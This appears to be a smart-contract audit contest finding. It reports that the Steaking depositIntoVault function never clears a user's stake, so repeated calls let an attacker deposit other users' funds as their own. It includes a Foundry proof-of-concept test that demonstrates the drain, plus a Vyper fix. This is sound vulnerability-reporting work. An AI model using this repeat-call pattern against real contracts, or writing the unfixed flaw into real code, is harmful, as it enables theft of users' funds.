Submission Details
Severity:
An attacker could use other people's funds to deposit into the vault in their favor.
Description
The Steaking::depositIntoVault function doesn't reduce the stake balance when a user deposit so this doesn't avoid the user call again the function if the contract has more balance.
Impact
An attacker can user vault balance in their favor to deposit into the vault.
Proof of Concepts
Copy this code snippet into Steaking.t.sol file.
function testCanDepositToVaultBalanceFromOtherUser() public {
uint256 dealAmount = steaking.getMinimumStakingAmount();
_stake(user1, dealAmount, user1);
_stake(attacker, dealAmount, attacker);
_endStakingPeriod();
vm.startPrank(owner);
steaking.setVaultAddress(address(wethSteakVault));
vm.stopPrank();
vm.startPrank(attacker);
steaking.depositIntoVault();
steaking.depositIntoVault();
vm.stopPrank();
vm.startPrank(user1);
// It should revert because of OutOfFunds error
vm.expectRevert();
steaking.depositIntoVault();
vm.stopPrank();
// attacker wethSteakVault balance should be its balance plus user1 balance.
assertEq(wethSteakVault.balanceOf(attacker), dealAmount * 2);
}
Recommended mitigation
@external
def depositIntoVault() -> uint256:
"""
@notice Allows users who have staked ETH during the staking period to deposit their ETH
into the WETH Steak vault.
@dev Before depositing into the vault, the raw ETH is converted into WETH.
@return The amount of shares received from the WETH Steak vault.
"""
assert self._hasStakingPeriodEndedAndVaultAddressSet(), STEAK__STAKING_PERIOD_NOT_ENDED_OR_VAULT_ADDRESS_NOT_SET
# q user stake amount shouldn't be reduced?
stakedAmount: uint256 = self.usersToStakes[msg.sender]
+ self.usersToStakes[msg.sender] -= stakedAmount
+ self.totalAmountStaked -= stakedAmount
assert stakedAmount > 0, STEAK__AMOUNT_ZERO
extcall IWETH(WETH).deposit(value=stakedAmount)
extcall IWETH(WETH).approve(self.vault, stakedAmount)
sharesReceived: uint256 = extcall IWETHSteakVault(self.vault).deposit(stakedAmount, msg.sender)
log DepositedIntoVault(msg.sender, stakedAmount, sharesReceived)
return sharesReceived
Updates
Lead Judging Commences
inallhonesty 10 months ago
Submission Judgement Published Assigned finding tags:
`Steaking:depositIntoVault` fails to update the users balance allowing contract draining to repeat call
Rewards breakdown
This contest has a flat reward structure with the following payouts:
100 EXP
20 EXP
2 EXP
Live
The contest is live. Earn rewards by submitting a finding.
Appeals
This is your time to appeal against judgements on your submissions.
Appeals Review
Appeals are being carefully reviewed by our judges.